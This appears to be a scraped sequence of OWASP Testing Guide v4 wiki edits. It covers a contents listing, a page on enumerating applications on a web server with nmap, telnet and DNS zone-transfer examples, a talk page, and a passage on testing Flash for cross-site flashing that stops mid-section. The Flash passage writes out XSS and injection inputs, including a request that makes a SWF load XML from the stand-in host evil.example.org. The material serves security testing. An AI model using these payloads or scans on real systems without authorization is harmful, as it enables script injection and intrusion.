[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly "Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)"<br />
<br />
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly "Testing for Padding Oracle (OWASP-EN-003)"<br />
<br />
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]<br />
<br />
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]<br />
<br />
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]<br />
<br />
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]<br />
<br />
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]<br />
<br />
<br />
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test<br />
<br />
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly "Incorrect time"<br />
<br />
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]<br />
<br />
<br />
[[Testing for business logic (OWASP-BL-001)|'''4.12 Business Logic Testing (OWASP-BL-001)''']] [To review--> David Fern]<br />
Business Logic<br><br />
<br />
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section<br />
<br />
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]<br />
<br />
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]<br />
<br />
[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]<br />
<br />
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]<br />
<br />
[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]<br />
<br />
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]<br />
<br />
[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]<br />
<br />
[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]<br />
<br />
[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]<br />
<br />
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]<br />
<br />
<br />
<br />
[[Denial of Service|'''4.13 Denial of Service''']]<br />
<br />
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better<br><br />
<br />
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]<br />
<br />
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly "Testing for CAPTCHA (OWASP-AT-012)" <br />
<br />
<br />
<br />
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] <br />
<br />
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly "Scoping a Web Service Test (OWASP-WS-001)"<br />
<br />
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly "WS Information Gathering (OWASP-WS-002)"<br />
<br />
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly "WS Authentication Testing (OWASP-WS-003)"<br />
<br />
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly "WS Management Interface Testing (OWASP-WS-004)"<br />
<br />
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly "Weak XML Structure Testing (OWASP-WS-005)"<br />
<br />
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly "XML Content-Level Testing (OWASP-WS-006)"<br />
<br />
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly "WS HTTP GET Parameters/REST Testing (OWASP-WS-007)"<br />
<br />
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly "WS Naughty SOAP Attachment Testing (OWASP-WS-008)"<br />
<br />
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly "WS Replay/MiTM Testing (OWASP-WS-009)"<br />
<br />
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly "WS BEPL Testing (OWASP-WS-010)"<br />
<br />
<br />
[[Client Side Testing|'''4.15 Client Side Testing''']] [New!] <br />
<br />
[[Testing for DOM-based Cross site scripting (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting (OTG-CLIENT-001)]] formerly "Testing for DOM based Cross Site Scripting (OWASP-CS-001)" [Stefano Di Paola]<br />
<br />
[[Testing for HTML5 (OWASP CS-002)|4.15.2 Testing for HTML5 (OTG-CLIENT-002)]] formerly "Testing for HTML5 (OWASP CS-002)" [Juan Galiana]<br />
<br />
[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing (OTG-CLIENT-003)]] formerly "Testing for Cross Site Flashing (OWASP-CS-003)"<br />
<br />
[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly "Testing for Clickjacking (OWASP-CS-004)" [Davide Danelon]<br />
<br />
[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]<br />
<br />
<br />
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==<br />
<br />
[[How to value the real risk |5.1 How to value the real risk]] [To review--> Amro AlOlaqi]<br />
<br />
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--> Amro AlOlaqi]<br />
<br />
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==<br />
<br />
* Black Box Testing Tools [To review--> Amro AlOlaqi]<br />
<br />
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==<br />
* Whitepapers [To review--> David Fern]<br />
* Books [To review--> David Fern]<br />
* Useful Websites [To review--> David Fern]<br />
<br />
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==<br />
<br />
* Fuzz Categories [To review--> Amro AlOlaqi]<br />
<br />
<br />
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==<br />
<br />
[To review--> Amro AlOlaqi]<br />
<br />
----<br />
<br />
<br />
[[Category:OWASP Testing Project]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Enumerate_Applications_on_Webserver_(OTG-INFO-004)&diff=157635Enumerate Applications on Webserver (OTG-INFO-004)2013-09-01T11:17:31Z<p>Ryan Dewhurst: Updated tools section slightly</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Summary ==<br />
A paramount step in testing for web application vulnerabilities is to find out which particular applications are hosted on a web server. Many applications have known vulnerabilities and known attack strategies that can be exploited in order to gain remote control or to exploit data. In addition, many applications are often misconfigured or not updated, due to the perception that they are only used "internally" and therefore no threat exists.<br/><br />
<br />
== Description of the Issue == <br />
With the proliferation of virtual web servers, the traditional 1:1-type relationship between an IP address and a web server is losing much of its original significance. It is not uncommon to have multiple web sites / applications whose symbolic names resolve to the same IP address (this scenario is not limited to hosting environments, but also applies to ordinary corporate environments as well).<br />
<br />
As a security professional, you are sometimes given a set of IP addresses (or possibly just one) as a target to test. It is arguable that this scenario is more akin to a pentest-type engagement, but in any case, it is expected that such an assignment would test all web applications accessible through this target (and possibly other things). The problem is that the given IP address hosts an HTTP service on port 80, but if you access it by specifying the IP address (which is all you know) it reports "No web server configured at this address" or a similar message. But that system could "hide" a number of web applications, associated to unrelated symbolic (DNS) names. Obviously, the extent of your analysis is deeply affected by the fact that you test the applications, or you do not - because you don't notice them, or you notice only SOME of them.<br />
Sometimes, the target specification is richer – maybe you are handed out a list of IP addresses and their corresponding symbolic names. Nevertheless, this list might convey partial information, i.e., it could omit some symbolic names – and the client may not even being aware of that (this is more likely to happen in large organizations)!<br />
<br />
Other issues affecting the scope of the assessment are represented by web applications published at non-obvious URLs (e.g., http://www.example.com/some-strange-URL), which are not referenced elsewhere. This may happen either by error (due to misconfigurations), or intentionally (for example, unadvertised administrative interfaces).<br />
<br />
To address these issues, it is necessary to perform web application discovery.<br />
<br />
== Test Objectives ==<br />
<br />
Enumerate the applications within scope that exist on a web server<br />
<br />
== How to Test ==<br />
<br />
=== Black Box testing and example ===<br />
Web application discovery is a process aimed at identifying web applications on a given infrastructure. The latter is usually specified as a set of IP addresses (maybe a net block), but may consist of a set of DNS symbolic names or a mix of the two.<br />
This information is handed out prior to the execution of an assessment, be it a classic-style penetration test or an application-focused assessment. In both cases, unless the rules of engagement specify otherwise (e.g., “test only the application located at the URL http://www.example.com/”), the assessment should strive to be the most comprehensive in scope, i.e. it should identify all the applications accessible through the given target. In the following examples, we will examine a few techniques that can be employed to achieve this goal. <br />
<br />
'''Note:''' Some of the following techniques apply to Internet-facing web servers, namely DNS and reverse-IP web-based search services and the use of search engines. Examples make use of private IP addresses (such as ''192.168.1.100''), which, unless indicated otherwise, represent ''generic'' IP addresses and are used only for anonymity purposes.<br />
<br />
There are three factors influencing how many applications are related to a given DNS name (or an IP address):<br />
<br />
'''1. Different base URL''' <br><br />
The obvious entry point for a web application is ''www.example.com'', i.e., with this shorthand notation we think of the web application originating at http://www.example.com/ (the same applies for https). However, even though this is the most common situation, there is nothing forcing the application to start at “/”.<br />
For example, the same symbolic name may be associated to three web applications such as:<br />
http://www.example.com/url1 <br />
http://www.example.com/url2 <br />
http://www.example.com/url3 <br />
In this case, the URL http://www.example.com/ would not be associated to a meaningful page, and the three applications would be “hidden”, unless we explicitly know how to reach them, i.e., we know ''url1'', ''url2'' or ''url3''. There is usually no need to publish web applications in this way, unless you don’t want them to be accessible in a standard way, and you are prepared to inform your users about their exact location. This doesn’t mean that these applications are secret, just that their existence and location is not explicitly advertised.<br />
<br />
'''2. Non-standard ports'''<br><br />
While web applications usually live on port 80 (http) and 443 (https), there is nothing magic about these port numbers. In fact, web applications may be associated with arbitrary TCP ports, and can be referenced by specifying the port number as follows: http[s]://www.example.com:port/. For example, http://www.example.com:20000/.<br />
<br />
'''3. Virtual hosts'''<br><br />
DNS allows us to associate a single IP address to one or more symbolic names. For example, the IP address ''192.168.1.100'' might be associated to DNS names ''www.example.com, helpdesk.example.com, webmail.example.com'' (actually, it is not necessary that all the names belong to the same DNS domain). This 1-to-N relationship may be reflected to serve different content by using so called virtual hosts. The information specifying the virtual host we are referring to is embedded in the HTTP 1.1 ''Host:'' header [1].<br />
<br />
We would not suspect the existence of other web applications in addition to the obvious ''www.example.com'', unless we know of ''helpdesk.example.com'' and ''webmail.example.com''.<br />
<br />
'''Approaches to address issue 1 - non-standard URLs'''<br><br />
There is no way to fully ascertain the existence of non-standard-named web applications. Being non-standard, there is no fixed criteria governing the naming convention, however there are a number of techniques that the tester can use to gain some additional insight. <br />
First, if the web server is misconfigured and allows directory browsing, it may be possible to spot these applications. Vulnerability scanners may help in this respect.<br />
Second, these applications may be referenced by other web pages; as such, there is a chance that they have been spidered and indexed by web search engines. If we suspect the existence of such “hidden” applications on ''www.example.com'' we could do a bit of googling using the ''site'' operator and examining the result of a query for “site: www.example.com”. Among the returned URLs there could be one pointing to such a non-obvious application.<br />
Another option is to probe for URLs which might be likely candidates for non-published applications. For example, a web mail front end might be accessible from URLs such as https://www.example.com/webmail, https://webmail.example.com/, or https://mail.example.com/. The same holds for administrative interfaces, which may be published at hidden URLs (for example, a Tomcat administrative interface), and yet not referenced anywhere. So, doing a bit of dictionary-style searching (or “intelligent guessing”) could yield some results. Vulnerability scanners may help in this respect.<br />
<br />
'''Approaches to address issue 2 - non-standard ports'''<br><br />
It is easy to check for the existence of web applications on non-standard ports. A port scanner such as nmap [2] is capable of performing service recognition by means of the -sV option, and will identify http[s] services on arbitrary ports. What is required is a full scan of the whole 64k TCP port address space.<br />
For example, the following command will look up, with a TCP connect scan, all open ports on IP ''192.168.1.100'' and will try to determine what services are bound to them (only ''essential'' switches are shown – nmap features a broad set of options, whose discussion is out of scope):<br />
<pre><br />
nmap –PN –sT –sV –p0-65535 192.168.1.100<br />
</pre><br />
It is sufficient to examine the output and look for http or the indication of SSL-wrapped services (which should be probed to confirm that they are https). For example, the output of the previous command could look like:<br />
<pre><br />
Interesting ports on 192.168.1.100:<br />
(The 65527 ports scanned but not shown below are in state: closed)<br />
PORT STATE SERVICE VERSION<br />
22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)<br />
80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))<br />
443/tcp open ssl OpenSSL<br />
901/tcp open http Samba SWAT administration server<br />
1241/tcp open ssl Nessus security scanner<br />
3690/tcp open unknown<br />
8000/tcp open http-alt?<br />
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1<br />
</pre><br />
From this example, we see that:<br />
* There is an Apache http server running on port 80.<br />
* It looks like there is an https server on port 443 (but this needs to be confirmed, for example, by visiting https://192.168.1.100 with a browser).<br />
* On port 901 there is a Samba SWAT web interface.<br />
* The service on port 1241 is not https, but is the SSL-wrapped Nessus daemon.<br />
* Port 3690 features an unspecified service (nmap gives back its ''fingerprint'' - here omitted for clarity - together with instructions to submit it for incorporation in the nmap fingerprint database, provided you know which service it represents).<br />
* Another unspecified service on port 8000; this might possibly be http, since it is not uncommon to find http servers on this port. Let's give it a look:<br />
<pre><br />
$ telnet 192.168.10.100 8000<br />
Trying 192.168.1.100...<br />
Connected to 192.168.1.100.<br />
Escape character is '^]'.<br />
GET / HTTP/1.0<br />
<br />
HTTP/1.0 200 OK<br />
pragma: no-cache<br />
Content-Type: text/html<br />
Server: MX4J-HTTPD/1.0<br />
expires: now<br />
Cache-Control: no-cache<br />
<br />
<html><br />
...<br />
</pre><br />
This confirms that in fact it is an HTTP server. Alternatively, we could have visited the URL with a web browser; or used the GET or HEAD Perl commands, which mimic HTTP interactions such as the one given above (however HEAD requests may not be honored by all servers).<br />
* Apache Tomcat running on port 8080.<br />
<br />
The same task may be performed by vulnerability scanners – but first check that your scanner of choice is able to identify http[s] services running on non-standard ports. For example, Nessus [3] is capable of identifying them on arbitrary ports (provided you instruct it to scan all the ports), and will provide – with respect to nmap – a number of tests on known web server vulnerabilities, as well as on the SSL configuration of https services. As hinted before, Nessus is also able to spot popular applications / web interfaces which could otherwise go unnoticed (for example, a Tomcat administrative interface).<br />
<br />
'''Approaches to address issue 3 - virtual hosts'''<br><br />
There are a number of techniques which may be used to identify DNS names associated to a given IP address ''x.y.z.t''.<br />
<br />
''DNS zone transfers''<br><br />
This technique has limited use nowadays, given the fact that zone transfers are largely not honored by DNS servers. However, it may be worth a try.<br />
First of all, we must determine the name servers serving ''x.y.z.t''. If a symbolic name is known for ''x.y.z.t'' (let it be ''www.example.com''), its name servers can be determined by means of tools such as ''nslookup'', ''host'', or ''dig'', by requesting DNS NS records.<br />
If no symbolic names are known for ''x.y.z.t'', but your target definition contains at least a symbolic name, you may try to apply the same process and query the name server of that name (hoping that ''x.y.z.t'' will be served as well by that name server). For example, if your target consists of the IP address ''x.y.z.t'' and the name ''mail.example.com'', determine the name servers for domain ''example.com''.<br />
<br />
The following example shows how to identify the name servers for www.owasp.org by using the host command:<br />
<pre><br />
$ host -t ns www.owasp.org<br />
www.owasp.org is an alias for owasp.org.<br />
owasp.org name server ns1.secure.net.<br />
owasp.org name server ns2.secure.net.<br />
</pre><br />
A zone transfer may now be requested to the name servers for domain ''example.com''. If you are lucky, you will get back a list of the DNS entries for this domain. This will include the obvious ''www.example.com'' and the not-so-obvious ''helpdesk.example.com'' and ''webmail.example.com'' (and possibly others). Check all names returned by the zone transfer and consider all of those which are related to the target being evaluated. <br><br />
<br />
Trying to request a zone transfer for owasp.org from one of its name servers:<br />
<pre><br />
$ host -l www.owasp.org ns1.secure.net<br />
Using domain server:<br />
Name: ns1.secure.net<br />
Address: 192.220.124.10#53<br />
Aliases:<br />
<br />
Host www.owasp.org not found: 5(REFUSED)<br />
; Transfer failed.<br />
</pre><br />
<br />
''DNS inverse queries''<br><br />
This process is similar to the previous one, but relies on inverse (PTR) DNS records. Rather than requesting a zone transfer, try setting the record type to PTR and issue a query on the given IP address. If you are lucky, you may get back a DNS name entry. This technique relies on the existence of IP-to-symbolic name maps, which is not guaranteed.<br />
<br />
''Web-based DNS searches''<br><br />
This kind of search is akin to DNS zone transfer, but relies on web-based services that enable name-based searches on DNS. One such service is the ''Netcraft Search DNS'' service, available at http://searchdns.netcraft.com/?host. You may query for a list of names belonging to your domain of choice, such as ''example.com''. Then you will check whether the names you obtained are pertinent to the target you are examining.<br />
<br />
''Reverse-IP services''<br><br />
Reverse-IP services are similar to DNS inverse queries, with the difference that you query a web-based application instead of a name server. There are a number of such services available. Since they tend to return partial (and often different) results, it is better to use multiple services to obtain a more comprehensive analysis.<br />
<br />
''Domain tools reverse IP'': http://www.domaintools.com/reverse-ip/ <br />
(requires free membership) <br />
<br />
''MSN search'': http://search.msn.com <br />
syntax: "ip:x.x.x.x" (without the quotes) <br />
<br />
''Webhosting info'': http://whois.webhosting.info/ <br />
syntax: http://whois.webhosting.info/x.x.x.x <br />
<br />
''DNSstuff'': http://www.dnsstuff.com/ <br />
(multiple services available) <br />
<br />
http://www.net-square.com/mspawn.html <br />
(multiple queries on domains and IP addresses, requires installation) <br />
<br />
''tomDNS'': http://www.tomdns.net/index.php <br />
(some services are still private at the time of writing) <br />
<br />
''SEOlogs.com'': http://www.seologs.com/ip-domains.html <br />
(reverse-IP/domain lookup) <br />
<br />
<br />
The following example shows the result of a query to one of the above reverse-IP services to 216.48.3.18, the IP address of www.owasp.org. Three additional non-obvious symbolic names mapping to the same address have been revealed.<br />
<br />
<center><br />
[[Image:Owasp-Info.jpg]]<br />
</center><br />
<br />
<br />
''Googling''<br><br />
Following information gathering from the previous techniques, you can rely on search engines to possibly refine and increment your analysis. This may yield evidence of additional symbolic names belonging to your target, or applications accessible via non-obvious URLs. <br />
For instance, considering the previous example regarding ''www.owasp.org'', you could query Google and other search engines looking for information (hence, DNS names) related to the newly discovered domains of ''webgoat.org'', ''webscarab.com'', and ''webscarab.net''.<br />
Googling techniques are explained in [[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|Testing: Spiders, Robots, and Crawlers]].<br />
<br />
=== Gray Box testing and example === <br />
Not applicable. The methodology remains the same as listed in Black Box testing no matter how much information you start with.<br />
<br />
==Tools==<br />
* DNS lookup tools such as ''nslookup'', ''dig'' and similar. <br />
* Search engines (Google, Bing and other major search engines). <br />
* Specialized DNS-related web-based search service: see text.<br />
* Nmap - http://www.insecure.org <br />
* Nessus Vulnerability Scanner - http://www.nessus.org<br />
* Nikto - http://www.cirt.net/nikto2<br />
<br />
== References ==<br />
'''Whitepapers'''<br />
[1] RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Talk:Enumerate_Applications_on_Webserver_(OTG-INFO-004)&diff=156453Talk:Enumerate Applications on Webserver (OTG-INFO-004)2013-08-05T22:25:31Z<p>Ryan Dewhurst: </p>
<hr />
<div>__TOC__<br />
<br />
==Subdomain Brute Forcing==<br />
<br />
I think, if in scope, subdomains should be brute forced to find additional applications.<br />
<br />
== NMAP Changes? ==<br />
<br />
Hi, what do you think to change the nmap command, and the nmap site?<br />
<br />
Latest nmap change some parameters like -P0 to -PN. -P0 is obsolete.<br />
<br />
Sample command should be now: nmap –PN –sT –sV –p1-65535 192.168.1.100<br />
<br />
If fact, nmap has the abilily to scan port number 0, so we can do better with:<br />
<br />
nmap –PN –sT –sV –p0-65535 192.168.1.100<br />
<br />
And the nmap site is nmap.org now. But www.insecure.org is still there.<br />
<br />
cheers<br />
--[[User:Unusuario|Unusuario]] 15:36, 2 April 2008 (EDT)<br />
<br />
== v3 Review Comments ==<br />
<br />
Similar to the previous section this section seems more like Service discovery than application discovery. We're still learning things about the server and not as much about the application(s) we're assessing. IMHO.<br><br />
May this section should be renamed to something like "Discovery of web server services and web applications on a host".<br />
[[User:Rick.mitchell|Rick.mitchell]] 09:55, 3 September 2008 (EDT)<br />
<br />
<br />
== Merge with (OWASP-IG-004) ==<br />
This article should be merged with 4.2.4 Testing for Web Application Fingerprint (OWASP-IG-004) and renamed to web server finger printing as both these pages talk about server level finger printing.<br />
<br />
also if i may put forward I have tried to cover some steps of web application finger printing here : http://anantshri.info/articles/web_app_finger_printing.html<br />
I hope this could be of some use in the correct page of web application finger printing.<br />
<br />
--[[User:Anant Shrivastava|Anant Shrivastava]] 06:05, 18 July 2011 (EDT)</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&diff=156452Testing for Cross site flashing (OTG-CLIENT-008)2013-08-05T22:11:06Z<p>Ryan Dewhurst: Added SWF Investigator tool, changed "cross site" to "cross-site"</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Brief Summary ==<br />
ActionScript is the language, based on ECMAScript, used by Flash applications when dealing with<br />
interactive needs. There are three versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design.<br />
<br />
ActionScript, like every other language, has some implementation patterns which could lead to security issues.<br />
<br />
In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM based Cross-Site Scripting (XSS) could be present in flawed Flash applications.<br />
<br />
== Description of the Issue == <br />
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player <br />
were released in order to mitigate some of the attacks which will be described.<br />
Nevertheless, some issues still remain exploitable because they are the result of insecure<br />
programming practices.<br />
<br />
== Gray Box testing and example ==<br />
<br />
=== Decompilation ===<br />
Since SWF files are interpreted by a virtual machine embedded in the player itself, <br />
they can be potentially decompiled and analysed.<br />
The most known and free ActionScript 2.0 decompiler is flare.<br />
<br />
To decompile a SWF file with flare just type:<br />
<br />
$ flare hello.swf<br />
<br />
it will result in a new file called hello.flr.<br />
<br />
Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications.<br />
<br />
HP's free SWFScan tool can decompile both ActionScript 2.0 and ActionScript 3.0 [https://h30406.www3.hp.com/campaigns/2009/wwcampaign/1-5TUVE/index.php?key=swf SWFScan]<br />
<br />
The [http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project OWASP Flash Security Project] maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.<br />
<br />
=== Undefined Variables FlashVars ===<br />
<br />
FlashVars are the variables that the SWF developer planned on receiving from the web page. <br />
FlashVars are typically passed in from the Object or Embed tag within the HTML. For instance:<br />
<br />
<pre><br />
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"<br />
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0"><br />
<param name="movie" value="somefilename.swf"><br />
<param name="FlashVars" value="var1=val1&var2=val2"><br />
<embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2"><br />
</embed><br />
</object><br />
</pre><br />
<br />
FlashVars can also be initialized from the URL:<br />
<br />
<pre><br />
http://www.example.org/somefilename.swf?var1=val1&var2=val2<br />
</pre><br />
<br />
In ActionScript 3.0, a developer must explicitly assign the FlashVar values to local variables. Typically,<br />
this looks like:<br />
<br />
<pre><br />
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;<br />
var var1:String = String(paramObj["var1"]);<br />
var var2:String = String(paramObj["var2"]);<br />
</pre><br />
<br />
In ActionScript 2.0, any uninitialized global variable is assumed to be a FlashVar. Global variables are<br />
those variables that are prepended by _root, _global or _level0. This means that if an attribute like:<br />
<br />
_root.varname <br />
<br />
is undefined throughout the code flow, it could be overwritten by setting<br />
<br />
<pre><br />
http://victim/file.swf?varname=value<br />
</pre><br />
<br />
Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector<br />
of attack. Let's look at some ActionScript 2.0 code that is vulnerable:<br />
<br />
Example:<br />
<pre><br />
movieClip 328 __Packages.Locale {<br />
<br />
#initclip<br />
if (!_global.Locale) {<br />
var v1 = function (on_load) {<br />
var v5 = new XML();<br />
var v6 = this;<br />
v5.onLoad = function (success) {<br />
if (success) {<br />
trace('Locale loaded xml');<br />
var v3 = this.xliff.file.body.$trans_unit;<br />
var v2 = 0;<br />
while (v2 < v3.length) {<br />
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;<br />
++v2;<br />
}<br />
on_load();<br />
} else {}<br />
};<br />
if (_root.language != undefined) {<br />
Locale.DEFAULT_LANG = _root.language;<br />
}<br />
v5.load(Locale.DEFAULT_LANG + '/player_' +<br />
Locale.DEFAULT_LANG + '.xml');<br />
};<br />
<br />
</pre><br />
<br />
The above code could be attacked by requesting:<br />
<br />
<pre><br />
http://victim/file.swf?language=http://evil.example.org/malicious.xml?<br />
</pre><br />
<br />
=== Unsafe Methods ===<br />
When an entry point is identified, the data it represents could be used by unsafe methods.<br />
If the data is not filtered/validated using the right regexp it could lead to some security issue.<br />
<br />
Unsafe Methods since version r47 are:<br />
<pre><br />
loadVariables()<br />
loadMovie()<br />
getURL()<br />
loadMovie()<br />
loadMovieNum()<br />
FScrollPane.loadScrollContent()<br />
LoadVars.load <br />
LoadVars.send <br />
XML.load ( 'url' )<br />
LoadVars.load ( 'url' ) <br />
Sound.loadSound( 'url' , isStreaming ); <br />
NetStream.play( 'url' );<br />
<br />
flash.external.ExternalInterface.call(_root.callback)<br />
<br />
htmlText<br />
</pre><br />
<br />
=== The Test ===<br />
In order to exploit a vulnerability, the swf file should be hosted on the victim's host, and<br />
the techniques of reflected XSS must be used.<br />
That is forcing the browser to load a pure swf file directly in the location bar <br />
(by redirection or social engineering) or by loading it through an iframe from an evil page:<br />
<br />
<iframe src='http://victim/path/to/file.swf'></iframe><br />
<br />
This is because in this situation the browser will self-generate an HTML page as if it were hosted <br />
by the victim host.<br />
<br />
=== XSS ===<br />
<br />
'''GetURL (AS2) / NavigateToURL (AS3):'''<br />
<br />
The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser's window. <br />
So if an undefined variable is used as the first argument for getURL:<br />
<br />
getURL(_root.URI,'_targetFrame');<br />
<br />
Or if a FlashVar is used as the parameter that is passed to a navigateToURL function:<br />
<br />
var request:URLRequest = new URLRequest(FlashVarSuppliedURL); <br />
navigateToURL(request);<br />
<br />
Then this will mean it's possible to call JavaScript in the same domain where the movie is hosted by <br />
requesting:<br />
<pre><br />
http://victim/file.swf?URI=javascript:evilcode<br />
<br />
getURL('javascript:evilcode','_self');<br />
</pre><br />
<br />
The same when only some part of getURL is controlled:<br />
<pre><br />
Dom Injection with Flash JavaScript injection<br />
<br />
getUrl('javascript:function('+_root.arg+')) <br />
</pre><br />
<br />
'''asfunction:'''<br />
<br />
You can use the special asfunction protocol to cause <br />
the link to execute an ActionScript function in a<br />
SWF file instead of opening a URL..." (Adobe.com)<br />
<br />
Until release Flash Player 9 r48 asfunction could be used on every method which has a URL<br />
as an argument. After that release, asfunction was restricted to use within an HTML TextField.<br />
<br />
This means that a tester could try to inject:<br />
<br />
asfunction:getURL,javascript:evilcode<br />
<br />
in every unsafe method like:<br />
<br />
loadMovie(_root.URL)<br />
<br />
by requesting:<br />
<br />
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode<br />
<br />
<br />
'''ExternalInterface:'''<br />
<br />
ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction<br />
for both ActionScript 2.0 and ActionScript 3.0.<br />
<br />
From a security point of view it could be abused when part of its argument could be controlled:<br />
<br />
flash.external.ExternalInterface.call(_root.callback);<br />
<br />
the attack pattern for this kind of flaw should be something like the following:<br />
eval(evilcode)<br />
<br />
since the internal JavaScript which is executed by the browser will be something similar to:<br />
<br />
eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')<br />
<br />
=== HTML Injection ===<br />
<br />
TextField Objects can render minimal HTML by setting:<br />
